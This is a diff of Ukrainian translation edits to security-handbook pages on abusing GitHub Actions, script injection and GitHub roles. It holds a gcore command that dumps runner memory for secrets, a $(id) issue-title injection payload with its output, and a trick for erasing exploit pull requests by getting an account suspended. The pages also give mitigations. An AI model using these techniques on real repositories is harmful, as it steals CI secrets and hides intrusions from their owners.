 sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
 ```
-Перегляньте [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
+Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
 
-### Регістр Docker-образів у Github
+### Github Docker Images Registry
 
-Можна створити Github actions, які будуть **build and store a Docker image inside Github**.\
+Можна створити Github actions, які **будуть збирати та зберігати Docker image всередині Github**.\
 Приклад можна знайти в наступному розкривному блоці:
 
 <details>
@@ -617,31 +617,31 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
 ```
 </details>
 
-Як видно з попереднього коду, реєстр Github розміщено на **`ghcr.io`**.
+Як ви могли побачити в попередньому коді, реєстр Github розміщено на **`ghcr.io`**.
 
-Користувач із read permissions до repo зможе завантажити Docker Image, використовуючи personal access token:
+Користувач з правами читання репозиторію зможе завантажити Docker Image, використовуючи personal access token:
 ```bash
 echo $gh_token | docker login ghcr.io -u <username> --password-stdin
 docker pull ghcr.io/<org-name>/<repo_name>:<tag>
 ```
-Then, the user could search for **leaked secrets in the Docker image layers:**
+Потім користувач може шукати **leaked secrets in the Docker image layers:**
 
 {{#ref}}
 https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
 {{#endref}}
 
-### Sensitive info in Github Actions logs
+### Чутлива інформація в Github Actions logs
 
-Навіть якщо **Github** намагається **detect secret values** у actions logs і **не показувати** їх, **інші чутливі дані**, які могли бути згенеровані під час виконання action, не будуть приховані. Наприклад, JWT підписаний за допомогою secret value не буде прихований, якщо це не [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
+Навіть якщо **Github** намагається **виявляти secret values** в actions logs і **уникати їх показу**, **інші чутливі дані**, які могли бути згенеровані під час виконання action, не будуть приховані. Наприклад, JWT підписаний secret value не буде прихований, якщо він не [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
 
 ## Приховування слідів
 
-(Техніка з [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) По-перше, будь-який PR видно публічно на Github і для цільового облікового запису GitHub. За замовчуванням у GitHub ми **can’t delete a PR of the internet**, але є тонкість. Для облікових записів Github, які були **suspended** GitHub, всі їхні **PRs are automatically deleted** і видаляються з інтернету. Тож щоб приховати свою активність, потрібно або домогтися **GitHub account suspended**, або щоб ваш обліковий запис був flagged. Це **приховає всі ваші активності** на GitHub з інтернету (фактично видалить всі ваші exploit PR).
+(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Перш за все, будь-який PR, що створюється, чітко видно публічно в Github і власнику цільового GitHub акаунта. За замовчуванням у GitHub ми **can’t delete a PR of the internet**, але є нюанс. Якщо акаунт Github буде **suspended** GitHub, всі їхні **PRs are automatically deleted** і видаляються з інтернету. Тому, щоб приховати вашу активність, вам потрібно або домогтися, щоб ваш **GitHub account suspended or get your account flagged**. Це **приховає всю вашу активність** на GitHub з інтернету (фактично видалить усі ваші exploit PR)
 
-Організація на GitHub дуже оперативно повідомляє акаунти до GitHub. Все, що потрібно — поділитися «деякими речами» в Issue, і вони подбають, щоб ваш акаунт був suspended протягом 12 годин :p і от — ваш експлойт став невидимим на github.
+Організація в GitHub дуже активно повідомляє облікові записи в GitHub. Все, що потрібно — опублікувати «деякі речі» в Issue, і вони подбають, щоб ваш акаунт був suspended протягом 12 годин :p і от, ваш exploit стане невидимим на github.
 
 > [!WARNING]
-> Єдиний спосіб для організації з’ясувати, що її атакували — перевірити GitHub logs через SIEM, оскільки з GitHub UI PR буде видалено.
+> Єдиний спосіб для організації з'ясувати, що її атакували — перевірити GitHub logs через SIEM, оскільки з GitHub UI PR буде видалено.
 
 ## Посилання
 

src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md

@@ -6,16 +6,16 @@
 
 GitHub Actions renders expressions ${{ ... }} before the step executes. The rendered value is pasted into the step’s program (for run steps, a shell script). If you interpolate untrusted input directly inside run:, the attacker controls part of the shell program and can execute arbitrary commands.
 
-Документація: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions та contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts
+Docs: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions and contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts
 
 Ключові моменти:
-- Рендеринг відбувається перед виконанням. Скрипт run генерується з усіма розв'язаними виразами, після чого виконується shell.
-- Багато contexts містять поля, які контролюються користувачем залежно від події, що запускає (issues, PRs, comments, discussions, forks, stars тощо). Див. довідник про untrusted input: https://securitylab.github.com/resources/github-actions-untrusted-input/
-- Shell quoting inside run: не є надійним захистом, оскільки ін'єкція відбувається на етапі template rendering. Атакувальники можуть вийти з лапок або інжектити оператори через спеціально сформований ввід.
+- Rendering happens before execution. The run script is generated with all expressions resolved, then executed by the shell.
+- Many contexts contain user-controlled fields depending on the triggering event (issues, PRs, comments, discussions, forks, stars, etc.). Див. untrusted input reference: https://securitylab.github.com/resources/github-actions-untrusted-input/
+- Shell quoting inside run: is not a reliable defense, because the injection occurs at the template rendering stage. Attackers can break out of quotes or inject operators via crafted input.
 
 ## Уразливий шаблон → RCE on runner
 
-Vulnerable workflow (triggered when someone opens a new issue):
+Вразливий workflow (triggered when someone opens a new issue):
 ```yaml
 name: New Issue Created
 on:
@@ -36,20 +36,20 @@ with:
 github_token: ${{ secrets.GITHUB_TOKEN }}
 labels: new
 ```
-Якщо нападник відкриє issue з заголовком $(id), відображений крок стане:
+Якщо зловмисник відкриє issue з назвою $(id), відрендерений крок стане:
 ```sh
 echo "New issue $(id) created"
 ```
-The command substitution запускає команду id на runner. Приклад виведення:
+Підстановка команди виконує id на runner. Приклад виводу:
 ```
 New issue uid=1001(runner) gid=118(docker) groups=118(docker),4(adm),100(users),999(systemd-journal) created
 ```
-Чому екранування не рятує:
-- Вирази обчислюються спочатку, потім виконується отриманий скрипт. Якщо недовірене значення містить $(...), `;`, `"`/`'` або символи нового рядка, воно може змінити структуру програми попри ваше екранування.
+Чому лапки не рятують:
+- Вираження обчислюються спочатку, а потім виконується отриманий скрипт. Якщо ненадійне значення містить $(...), `;`, `"`/`'` або нові рядки, воно може змінити структуру програми незважаючи на ваші лапки.
 
-## Безпечний підхід (shell variables via env)
+## Безпечний шаблон (shell variables via env)
 
-Правильне пом'якшення: скопіюйте недовірений вхід у змінну середовища, а потім використовуйте нативне розгортання shell ($VAR) у run-скрипті. Не повторно вбудовуйте через ${{ ... }} всередині команди.
+Правильне пом'якшення: скопіюйте ненадійне вхідне значення у змінну середовища, потім використовуйте нативне shell-розгортання ($VAR) у run script. Не вбудовуйте знову ${{ ... }} всередині команди.
 ```yaml
 # safe
 jobs:
@@ -62,13 +62,13 @@ TITLE: ${{ github.event.issue.title }}
 run: |
 echo "New issue $TITLE created"
 ```
-Notes:
-- Avoid using ${{ env.TITLE }} inside run:. That reintroduces template rendering back into the command and brings the same injection risk.
-- Prefer passing untrusted inputs via env: mapping and reference them with $VAR in run:.
+Примітки:
+- Уникайте використання ${{ env.TITLE }} всередині run:. Це знову вводить рендеринг шаблонів у команду і створює той самий ризик ін'єкції.
+- Краще передавати недовірені введення через відображення env: і звертатися до них як $VAR у run:.
 
-## Reader-triggerable surfaces (treat as untrusted)
+## Поверхні, які може ініціювати читач (вважати ненадійними)
 
-Accounts with only read permission on public repositories can still trigger many events. Any field in contexts derived from these events must be considered attacker-controlled unless proven otherwise. Examples:
+Облікові записи з правом лише на читання у публічних репозиторіях все ще можуть викликати багато подій. Будь-яке поле в контекстах, отриманих із цих подій, слід вважати контрольованим зловмисником, якщо не доведено протилежне. Приклади:
 - issues, issue_comment
 - discussion, discussion_comment (orgs can restrict discussions)
 - pull_request, pull_request_review, pull_request_review_comment
@@ -77,16 +77,16 @@ Accounts with only read permission on public repositories can still trigger many
 - watch (starring a repo)
 - Indirectly via workflow_run/workflow_call chains
 
-Which specific fields are attacker-controlled is event-specific. Consult GitHub Security Lab’s untrusted input guide: https://securitylab.github.com/resources/github-actions-untrusted-input/
+Які конкретно поля контролюються зловмисником залежить від події. Зверніться до GitHub Security Lab’s untrusted input guide: https://securitylab.github.com/resources/github-actions-untrusted-input/
 
-## Practical tips
+## Практичні поради
 
-- Minimize use of expressions inside run:. Prefer env: mapping + $VAR.
-- If you must transform input, do it in the shell using safe tools (printf %q, jq -r, etc.), still starting from a shell variable.
-- Be extra careful when interpolating branch names, PR titles, usernames, labels, discussion titles, and PR head refs into scripts, command-line flags, or file paths.
-- For reusable workflows and composite actions, apply the same pattern: map to env then reference $VAR.
+- Мінімізуйте використання виразів всередині run:. Віддавайте перевагу відображенню env: + $VAR.
+- Якщо потрібно трансформувати введення, робіть це в shell, використовуючи безпечні інструменти (printf %q, jq -r, тощо), все одно починаючи з shell-змінної.
+- Будьте особливо обережні при інтерполяції імен гілок, заголовків PR, імен користувачів, labels, discussion titles та PR head refs у скрипти, параметри командного рядка або шляхи до файлів.
+- Для reusable workflows і composite actions застосовуйте той самий підхід: відобразіть у env, а потім посилайтеся на $VAR.
 
-## References
+## Посилання
 
 - [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
 - [GitHub workflow syntax](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions)

src/pentesting-ci-cd/github-security/basic-github-information.md

@@ -1,156 +1,156 @@
-# Базова інформація про Github
+# Основна інформація про Github
 
 {{#include ../../banners/hacktricks-training.md}}
 
 ## Базова структура
 
-Базова структура середовища github в великій **компанії** — це володіння **підприємством**, яке володіє **кількома організаціями**, і кожна з них може містити **кілька репозиторіїв** та **кілька команд.**. Менші компанії можуть просто **володіти однією організацією і не мати підприємств**.
+Базова структура середовища github великої **компанії** — це наявність **enterprise**, яке володіє **кількома organizations**, і кожна з них може містити **кілька repositories** та **кілька teams.** Менші компанії можуть просто **володіти однією organization і не мати enterprise**.
 
-З точки зору користувача **користувач** може бути **учасником** **різних підприємств і організацій**. Вони можуть мати **різні ролі на рівні підприємства, організації та репозиторію**.
+З точки зору користувача **user** може бути **member** різних **enterprises та organizations**. У межах них у користувача можуть бути **різні enterprise, organization та repository roles**.
 
-Крім того, користувач може бути **в різних командах** з різними ролями на рівні підприємства, організації або репозиторію.
+Крім того, користувач може бути **частиною різних teams** з різними enterprise, organization або repository ролями.
 
-І нарешті **репозиторії можуть мати спеціальні механізми захисту**.
+І нарешті **repositories можуть мати спеціальні механізми захисту**.
 
 ## Привілеї
 
-### Ролі підприємства
+### Enterprise Roles
 
-- **Власник підприємства**: Люди з цією роллю можуть **керувати адміністраторами, керувати організаціями в межах підприємства, керувати налаштуваннями підприємства, застосовувати політику в організаціях**. Однак вони **не можуть отримувати доступ до налаштувань організації або її вмісту**, якщо їх не призначено власником організації або їм не надано прямого доступу до репозиторію, яким володіє організація.
-- **Члени підприємства**: Учасники організацій, якими володіє ваше підприємство, також **автоматично є членами підприємства**.
+- **Enterprise owner**: Люди з цією роллю можуть **керувати адміністраторами, керувати organizations у складі enterprise, керувати налаштуваннями enterprise, застосовувати політику в організаціях**. Однак вони **не можуть отримувати доступ до налаштувань чи вмісту organization**, якщо їх не призначено organization owner або не надано прямий доступ до repository, що належить organization.
+- **Enterprise members**: Members organization, що належать вашому enterprise, також **автоматично є членами enterprise**.
 
-### Ролі організації
+### Organization Roles
 
 В організації користувачі можуть мати різні ролі:
 
-- **Власники організації**: Власники організації мають **повний адміністративний доступ до вашої організації**. Цю роль слід обмежити, але не менш ніж двома людьми в організації.
-- **Учасники організації**: **Типова**, неадміністративна роль для **людей в організації** — це учасник організації. За замовчуванням учасники організації **мають низку дозволів**.
-- **Менеджери білінгу**: Менеджери білінгу — це користувачі, які можуть **керувати налаштуваннями оплати для вашої організації**, наприклад платіжною інформацією.
-- **Менеджери безпеки**: Це роль, яку власники організації можуть призначити будь-якій команді в організації. При застосуванні вона дає кожному члену команди дозволи **керувати повідомленнями про безпеку та налаштуваннями в межах організації, а також дозволи на читання всіх репозиторіїв** в організації.
-- Якщо у вашій організації є команда з безпеки, ви можете використовувати роль менеджера безпеки, щоб надати членам команди найменший необхідний доступ до організації.
-- **Github App managers**: Щоб дозволити додатковим користувачам **керувати GitHub Apps, якими володіє організація**, власник може надати їм дозволи менеджера GitHub App.
-- **Зовнішні співпрацівники**: Зовнішній співпрацівник — це особа, яка має **доступ до одного або більше репозиторіїв організації, але не є явно членом** організації.
+- **Organization owners**: Organization owners мають **повний адміністративний доступ до вашої organization**. Цю роль слід обмежити, але не менше ніж двома людьми в організації.
+- **Organization members**: **За замовчуванням**, неадміністративна роль для **осіб в organization** — organization member. За замовчуванням organization members **мають низку дозволів**.
+- **Billing managers**: Billing managers — користувачі, які можуть **керувати налаштуваннями білінгу для вашої organization**, наприклад платіжною інформацією.
+- **Security Managers**: Роль, яку organization owners можуть призначити будь-якій team в організації. При застосуванні вона дає кожному member цієї команди дозволи **керувати security alerts і налаштуваннями в межах organization, а також права на читання для всіх repositories** в організації.
+- Якщо у вашій організації є security team, ви можете використовувати роль security manager, щоб надати членам команди мінімально необхідний доступ до organization.
+- **Github App managers**: Щоб дозволити додатковим користувачам **керувати GitHub Apps, що належать organization**, owner може надати їм дозволи Github App manager.
+- **Outside collaborators**: Outside collaborator — це особа, яка має **доступ до одного або кількох repositories organization, але не є явно member** цієї organization.
 
 Ви можете **порівняти дозволи** цих ролей у цій таблиці: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
 
-### Привілеї учасників
+### Members Privileges
 
-В _https://github.com/organizations/\<org_name>/settings/member_privileges_ ви можете побачити **дозволи, які користувачі отримують лише за те, що є частиною організації**.
+В _https://github.com/organizations/\<org_name>/settings/member_privileges_ ви можете побачити **дозволи, які користувачі матимуть просто за те, що є частиною organization**.
 
-Налаштування тут вкажуть такі дозволи учасників організації:
+Налаштування тут вкажуть на такі дозволи членів organization:
 
-- Бути admin, writer, reader або не мати дозволу над усіма репозиторіями організації.
-- Чи можуть учасники створювати private, internal або public репозиторії.
-- Чи дозволено форкати репозиторії.
+- Мати admin, writer, reader або відсутність доступу до всіх repository організації.
+- Чи можуть members створювати private, internal або public repositories.
+- Чи можливе форкування repositories.
 - Чи можливо запрошувати outside collaborators.
-- Чи можна публікувати публічні або приватні сайти.
-- Які дозволи мають адміни над репозиторіями.
-- Чи можуть учасники створювати нові команди.
+- Чи можуть публікуватися public або private sites.
+- Дозволи, які мають admins над repositories.
+- Чи можуть members створювати нові teams.
 
-### Ролі репозиторію
+### Repository Roles
 
-За замовчуванням створюються ролі репозиторію:
+За замовчуванням створюються такі repository roles:
 
-- **Read**: Рекомендовано для **non-code contributors**, які хочуть переглядати або обговорювати ваш проєкт
-- **Triage**: Рекомендовано для **contributors who need to proactively manage issues and pull requests** без права на запис
-- **Write**: Рекомендовано для контрибуторів, які **активно роблять push у ваш проєкт**
-- **Maintain**: Рекомендовано для **менеджерів проєкту, які повинні керувати репозиторієм** без доступу до конфіденційних або деструктивних дій
-- **Admin**: Рекомендовано для людей, яким потрібен **повний доступ до проєкту**, включаючи конфіденційні та деструктивні дії, такі як керування безпекою або видалення репозиторію
+- **Read**: Рекомендовано для **не-кодових контрибуторів**, які хочуть переглядати або обговорювати проект.
+- **Triage**: Рекомендовано для **контрибуторів, які повинні проактивно керувати issues та pull requests** без доступу на запис.
+- **Write**: Рекомендовано для контрибуторів, які **активно пушать у ваш проект**.
+- **Maintain**: Рекомендовано для **менеджерів проєкту, яким потрібно керувати repository** без доступу до чутливих або деструктивних дій.
+- **Admin**: Рекомендовано для людей, яким потрібен **повний доступ до проекту**, включаючи чутливі та деструктивні дії, як-от керування безпекою або видалення repository.
 
 Ви можете **порівняти дозволи** кожної ролі в цій таблиці [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
 
-Ви також можете **створити власні ролі** в _https://github.com/organizations/\<org_name>/settings/roles_
+Ви також можете **створювати власні ролі** в _https://github.com/organizations/\<org_name>/settings/roles_
 
-### Команди
+### Teams
 
-Ви можете **переглянути список команд, створених в організації** за адресою _https://github.com/orgs/\<org_name>/teams_. Зверніть увагу, щоб побачити команди, які є дочірніми для інших команд, потрібно заходити в кожну батьківську команду.
+Ви можете **перелічити teams, створені в organization**, в _https://github.com/orgs/\<org_name>/teams_. Зауважте, щоб побачити teams, які є дочірніми для інших teams, потрібно перейти до кожної parent team.
 
-### Користувачі
+### Users
 
-Користувачів організації можна **перелічити** в _https://github.com/orgs/\<org_name>/people._
+Користувачів organization можна **переглянути** в _https://github.com/orgs/\<org_name>/people._
 
-В інформації про кожного користувача ви можете бачити **команди, членом яких є користувач**, та **репозиторії, до яких користувач має доступ**.
+В інформації про кожного користувача можна побачити **teams, частиною яких є користувач**, і **repos, до яких користувач має доступ**.
 
-## Авторизація в Github
+## Github Authentication
 
-Github пропонує різні способи автентифікації у вашому обліковому записі та виконання дій від вашого імені.
+Github пропонує різні способи автентифікації у вашому акаунті та виконання дій від вашого імені.
 
-### Веб-доступ
+### Web Access
 
-Заходячи на **github.com**, ви можете увійти, використовуючи свій **username and password** (і потенційно **2FA**).
+Заходячи на **github.com**, ви можете увійти, використовуючи свій **username і password** (а також потенційно **2FA**).
 
 ### **SSH Keys**
 
-Ви можете налаштувати свій обліковий запис з одним або кількома публічними ключами, що дозволяють відповідному **приватному ключу виконувати дії від вашого імені.** [https://github.com/settings/keys](https://github.com/settings/keys)
+Ви можете налаштувати свій акаунт із одним або кількома public keys, що дозволяють відповідному **private key виконувати дії від вашого імені.** [https://github.com/settings/keys](https://github.com/settings/keys)
 
 #### **GPG Keys**
 
-Ви **не можете видати себе за користувача за допомогою цих ключів**, але якщо ви їх не використовуєте, можливо, вас **виявлять за надсилання комітів без підпису**. Learn more about [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
+Ви **не можете видати себе за користувача за допомогою цих ключів**, але якщо ви не використовуєте їх, можливо, вас **виявлять за надсилання комітів без підпису**. Детальніше про vigilant mode тут: https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode.
 
 ### **Personal Access Tokens**
 
-Ви можете згенерувати personal access token, щоб **надати додатку доступ до вашого облікового запису**. При створенні personal access token **користувач** повинен **вказати** **дозволи**, які **token** матиме. [https://github.com/settings/tokens](https://github.com/settings/tokens)
+Ви можете генерувати personal access token, щоб **надати додатку доступ до вашого акаунту**. Створюючи personal access token, **user** повинен **вказати** **дозволи**, які **token** матиме. [https://github.com/settings/tokens](https://github.com/settings/tokens)
 
 ### Oauth Applications
 
-Oauth applications можуть просити у вас дозволи **для доступу до частини вашої інформації в github або для імітації вас** з метою виконання певних дій. Поширеним прикладом є кнопка **login with github**, яку ви можете знайти на деяких платформах.
+Oauth applications можуть просити вас про дозволи **для доступу до частини вашої github інформації або для імітації вас** з метою виконання певних дій. Типовий приклад — кнопка **login with github**, яку ви можете зустріти на деяких платформах.
 
-- Ви можете **створювати** власні **Oauth applications** в [https://github.com/settings/developers](https://github.com/settings/developers)
-- Ви можете побачити всі **Oauth applications, які мають доступ до вашого облікового запису** в [https://github.com/settings/applications](https://github.com/settings/applications)
-- Ви можете побачити **scopes, які Oauth Apps можуть запитувати** в [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
-- Ви можете побачити доступ сторонніх застосунків у **організації** в _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
+- Ви можете **створити** власні **Oauth applications** на [https://github.com/settings/developers](https://github.com/settings/developers)
+- Ви можете побачити всі **Oauth applications, що мають доступ до вашого акаунту** на [https://github.com/settings/applications](https://github.com/settings/applications)
+- Ви можете побачити **scopes, які Oauth Apps можуть запитувати** на [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
+- Ви можете побачити доступ сторонніх додатків у **organization** за адресою _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
 
-Деякі **рекомендації щодо безпеки**:
+Деякі **рекомендації з безпеки**:
 
-- An **OAuth App** should always **act as the authenticated GitHub user across all of GitHub** (for example, when providing user notifications) and with access only to the specified scopes..
-- An OAuth App can be used as an identity provider by enabling a "Login with GitHub" for the authenticated user.
-- **Don't** build an **OAuth App** if you want your application to act on a **single repository**. With the `repo` OAuth scope, OAuth Apps can **act on \_all**\_\*\* of the authenticated user's repositorie\*\*s.
-- **Don't** build an OAuth App to act as an application for your **team or company**. OAuth Apps authenticate as a **single user**, so if one person creates an OAuth App for a company to use, and then they leave the company, no one else will have access to it.
-- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
+- **OAuth App** завжди має **діяти як автентифікований GitHub user по всьому GitHub** (наприклад, при надсиланні користувацьких повідомлень) і мати доступ лише до вказаних scope.
+- OAuth App може використовуватися як провайдер ідентичності, дозволивши "Login with GitHub" для автентифікованого користувача.
+- **Не** створюйте **OAuth App**, якщо хочете, щоб ваш додаток діяв лише над **одним repository**. З `repo` OAuth scope, OAuth Apps можуть **діяти на _всіх_** репозиторіях автентифікованого користувача.
+- **Не** створюйте OAuth App, щоб діяти як додаток для вашої **команди чи компанії**. OAuth Apps автентифікуються як **один user**, тому якщо одна людина створить OAuth App для компанії, а потім покине її, ніхто інший не матиме доступу.
+- **Детальніше** тут: https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps.
 
 ### Github Applications
 
-Github applications можуть запитувати дозволи для **доступу до вашої інформації в github або імітації вас**, щоб виконувати конкретні дії над певними ресурсами. У Github Apps ви повинні вказати репозиторії, до яких додаток матиме доступ.
+Github applications можуть просити дозволи **для доступу до вашої github інформації або імітації вас** з метою виконання конкретних дій над певними ресурсами. У Github Apps потрібно вказати repositories, до яких додаток матиме доступ.
 
-- Щоб встановити GitHub App, ви повинні бути **власником організації або мати права адміністратора** в репозиторії.
-- GitHub App повинен **підключатися до персонального облікового запису або організації**.
-- Ви можете створити власний Github application в [https://github.com/settings/apps](https://github.com/settings/apps)
-- Ви можете побачити всі **Github applications, які мають доступ до вашого облікового запису** в [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
-- Це **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Залежно від дозволів App, він зможе отримати доступ до деяких з них
-- Ви можете побачити встановлені застосунки в **організації** в _https://github.com/organizations/\<org_name>/settings/installations_
+- Щоб встановити GitHub App, ви повинні бути **organisation owner або мати admin permissions** в repository.
+- GitHub App має **підключатися до персонального акаунту або organization**.
+- Ви можете створити власну Github application на [https://github.com/settings/apps](https://github.com/settings/apps)
+- Ви можете побачити всі **Github applications, що мають доступ до вашого акаунту** на [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
+- Ось **API Endpoints для Github Applications**: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Залежно від дозволів додатка він зможе доступатися до деяких з них.
+- Ви можете побачити встановлені apps в **organization** в _https://github.com/organizations/\<org_name>/settings/installations_
 
-Деякі рекомендації щодо безпеки:
+Деякі рекомендації з безпеки:
 
-- A GitHub App should **take actions independent of a user** (unless the app is using a [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). To keep user-to-server access tokens more secure, you can use access tokens that will expire after 8 hours, and a refresh token that can be exchanged for a new access token. For more information, see "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
-- Make sure the GitHub App integrates with **specific repositories**.
-- The GitHub App should **connect to a personal account or an organisation**.
-- Don't expect the GitHub App to know and do everything a user can.
-- **Don't use a GitHub App if you just need a "Login with GitHub" service**. But a GitHub App can use a [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) to log users in _and_ do other things.
-- Don't build a GitHub App if you _only_ want to act as a GitHub user and do everything that user can do.
-- If you are using your app with GitHub Actions and want to modify workflow files, you must authenticate on behalf of the user with an OAuth token that includes the `workflow` scope. The user must have admin or write permission to the repository that contains the workflow file. For more information, see "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
-- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
+- GitHub App повинен **виконувати дії незалежно від користувача** (якщо додаток не використовує [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). Щоб зробити user-to-server access tokens більш безпечними, можна використовувати access tokens, що **закінчуються через 8 годин**, та refresh token, який можна обміняти на новий access token. Для додаткової інформації див. "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
+- Переконайтеся, що GitHub App інтегровано з **конкретними repositories**.
+- GitHub App повинен **підключатися до персонального акаунту або organization**.
+- Не очікуйте, що GitHub App знає та робить усе, що може user.
+- **Не використовуйте GitHub App лише заради сервісу "Login with GitHub"**. Проте GitHub App може використовувати [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) для входу користувачів _та_ виконання інших дій.
+- Не створюйте GitHub App, якщо ви _лише_ хочете діяти як GitHub user і робити все, що цей user може робити.
+- Якщо ви використовуєте свій додаток з GitHub Actions і хочете змінювати workflow файли, ви мусите аутентифікуватися від імені користувача з OAuth token, який включає `workflow` scope. Користувач має мати admin або write permission до repository, що містить workflow файл. Для додаткової інформації див. "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
+- **Детальніше** тут: https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps.
 
 ### Github Actions
 
-Це **не є способом автентифікації в github**, але **шкідлива** Github Action може отримати **несанкціонований доступ до github** і, **залежно** від **привілеїв**, наданих Action, може бути виконано кілька **різних атак**. Нижче наведено більше інформації.
+Це **не спосіб автентифікації в github**, але **зловмисна** Github Action може отримати **неавторизований доступ до github** і, **в залежності** від **наданих Action привілеїв**, можна здійснити кілька **різних атак**. Див. нижче для додаткової інформації.
 
 ## Git Actions
 
-Git actions дозволяють автоматизувати **виконання коду при настанні події**. Зазвичай виконуваний код якось пов'язаний з кодом репозиторію (наприклад, збірка docker-контейнера або перевірка, що PR не містить секретів).
+Git actions дозволяють автоматизувати **виконання коду при виникненні події**. Зазвичай код, що виконується, якимось чином пов'язаний з кодом repository (наприклад, збірка docker контейнера або перевірка, що PR не містить секретів).
 
-### Конфігурація
+### Configuration
 
-В _https://github.com/organizations/\<org_name>/settings/actions_ можна перевірити **конфігурацію github actions** для організації.
+В _https://github.com/organizations/\<org_name>/settings/actions_ можна перевірити **конфігурацію github actions** для organization.
 
-Можна повністю заборонити використання github actions, **дозволити всі github actions**, або дозволити лише певні actions.
+Можна заборонити використання github actions повністю, **дозволити всі github actions**, або дозволити лише певні actions.
 
-Також можна налаштувати, **хто потребує схвалення для запуску Github Action**, та **дозволи GITHUB_TOKEN** Github Action під час його виконання.
+Також можна налаштувати, **хто потребує схвалення для запуску Github Action**, та **дозволи GITHUB_TOKEN** для Github Action під час його виконання.
 
 ### Git Secrets
 
-Github Action зазвичай потребує деякого роду secrets для взаємодії з github або сторонніми застосунками. Щоб **уникнути розміщення їх у відкритому вигляді** в репозиторії, github дозволяє зберігати їх як **Secrets**.
+Github Action зазвичай потребують певних секретів для взаємодії з github або сторонніми додатками. Щоб **уникнути зберігання їх у відкритому вигляді** в repo, github дозволяє зберігати їх як **Secrets**.
 
-Ці secrets можна налаштувати **для репозиторію або для всієї організації**. Потім, щоб **Action отримав доступ до секрету**, ви повинні оголосити його таким чином:
+Ці секрети можна налаштувати **для repo або для всієї organization**. Потім, щоб **Action мав доступ до секрету**, потрібно оголосити його як:
 ```yaml
 steps:
 - name: Hello world action
@@ -168,45 +168,45 @@ run: |
 example-command "$SUPER_SECRET"
 ```
 > [!WARNING]
-> Secrets **можна отримати доступ лише з Github Actions**, які їх задекларували.
-
-> Після налаштування в repo або в організації **користувачі github не зможуть більше отримати до них доступ**, вони зможуть лише **змінювати їх**.
-
-Отже, **єдиний спосіб вкрасти github secrets — це отримати доступ до машини, яка виконує Github Action** (в цьому сценарії ви зможете отримати доступ лише до secrets, задекларованих для цієї Action).
+> Secrets **можна отримати лише з Github Actions**, в яких вони оголошені.
+>
+> Після налаштування в repo або organizations **користувачі github більше не зможуть отримати до них доступ**, вони зможуть лише **змінювати їх**.
+>
+> Тому **єдиний спосіб викрасти github secrets — отримати доступ до машини, яка виконує Github Action** (в такому випадку ви зможете отримати доступ лише до secrets, оголошених для цієї Action).
 
 ### Git Environments
 
-Github дозволяє створювати **environments**, де ви можете зберігати **secrets**. Потім ви можете надати github action доступ до secrets всередині environment за допомогою чогось на кшталт:
